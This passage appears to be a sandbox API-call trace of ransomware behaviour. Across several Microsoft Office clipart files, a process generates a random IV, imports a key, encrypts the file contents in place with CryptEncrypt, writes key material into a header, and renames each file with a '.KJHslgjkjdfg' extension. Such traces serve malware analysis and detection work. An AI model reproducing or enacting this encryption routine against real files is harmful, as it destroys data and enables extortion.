[0181.853] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.853] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.853] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x43c5, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x43c5, lpOverlapped=0x0) returned 1 [0181.854] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x43d0, dwBufLen=0x43d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x43d0) returned 1 [0181.854] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.854] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x43d0, lpOverlapped=0x0) returned 1 [0181.854] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.854] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x44a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.854] SetEndOfFile (hFile=0x114) returned 1 [0181.856] GetProcessHeap () returned 0x2a0000 [0181.856] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.856] GetProcessHeap () returned 0x2a0000 [0181.856] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg.kjhslgjkjdfg")) returned 1 [0181.858] CloseHandle (hObject=0x114) returned 1 [0181.858] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x8d86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287645.JPG", cAlternateFileName="")) returned 1 [0181.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.859] GetProcessHeap () returned 0x2a0000 [0181.859] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.859] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.860] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.860] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0181.862] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.862] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.862] GetProcessHeap () returned 0x2a0000 [0181.862] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.862] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.862] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.862] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.862] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.862] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.862] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.862] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.862] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.863] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.863] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.863] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.863] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8d86, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8d86, lpOverlapped=0x0) returned 1 [0181.863] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8d90, dwBufLen=0x8d90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8d90) returned 1 [0181.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.864] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8d90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8d90, lpOverlapped=0x0) returned 1 [0181.864] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.864] SetEndOfFile (hFile=0x114) returned 1 [0181.868] GetProcessHeap () returned 0x2a0000 [0181.868] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.868] GetProcessHeap () returned 0x2a0000 [0181.868] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg.kjhslgjkjdfg")) returned 1 [0181.870] CloseHandle (hObject=0x114) returned 1 [0181.870] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d21, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0289430.JPG", cAlternateFileName="")) returned 1 [0181.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.871] GetProcessHeap () returned 0x2a0000 [0181.871] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.871] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.871] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.871] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0181.876] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.877] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.877] GetProcessHeap () returned 0x2a0000 [0181.877] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.877] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.877] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.877] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.877] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.877] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.877] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.877] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.877] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.877] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.877] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.877] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.877] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2d21, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2d21, lpOverlapped=0x0) returned 1 [0181.879] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d30, dwBufLen=0x2d30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d30) returned 1 [0181.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.879] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2d30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2d30, lpOverlapped=0x0) returned 1 [0181.879] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.879] SetEndOfFile (hFile=0x114) returned 1 [0181.882] GetProcessHeap () returned 0x2a0000 [0181.882] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.882] GetProcessHeap () returned 0x2a0000 [0181.882] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.882] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg.kjhslgjkjdfg")) returned 1 [0181.884] CloseHandle (hObject=0x114) returned 1 [0181.884] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9e8a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0290548.WMF", cAlternateFileName="")) returned 1 [0181.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.885] GetProcessHeap () returned 0x2a0000 [0181.885] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.885] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.885] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.885] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0181.889] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.889] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.889] GetProcessHeap () returned 0x2a0000 [0181.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.889] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.889] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.890] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.890] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.890] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.890] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.890] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.890] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.890] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.890] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.890] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.890] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9e8a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9e8a, lpOverlapped=0x0) returned 1 [0181.892] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9e90, dwBufLen=0x9e90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9e90) returned 1 [0181.892] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.892] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9e90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9e90, lpOverlapped=0x0) returned 1 [0181.893] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.893] SetEndOfFile (hFile=0x114) returned 1 [0181.896] GetProcessHeap () returned 0x2a0000 [0181.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.896] GetProcessHeap () returned 0x2a0000 [0181.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf.kjhslgjkjdfg")) returned 1 [0181.898] CloseHandle (hObject=0x114) returned 1 [0181.898] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2590, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0291794.WMF", cAlternateFileName="")) returned 1 [0181.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.899] GetProcessHeap () returned 0x2a0000 [0181.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.899] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.899] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.899] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.899] GetProcessHeap () returned 0x2a0000 [0181.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.899] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.899] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.899] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.903] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.903] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.903] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.903] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.904] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.904] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.904] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2590, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2590, lpOverlapped=0x0) returned 1 [0181.905] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2590, dwBufLen=0x2590 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2590) returned 1 [0181.906] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.906] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2590, lpOverlapped=0x0) returned 1 [0181.906] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.906] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.906] SetEndOfFile (hFile=0x114) returned 1 [0181.909] GetProcessHeap () returned 0x2a0000 [0181.909] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.909] GetProcessHeap () returned 0x2a0000 [0181.909] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 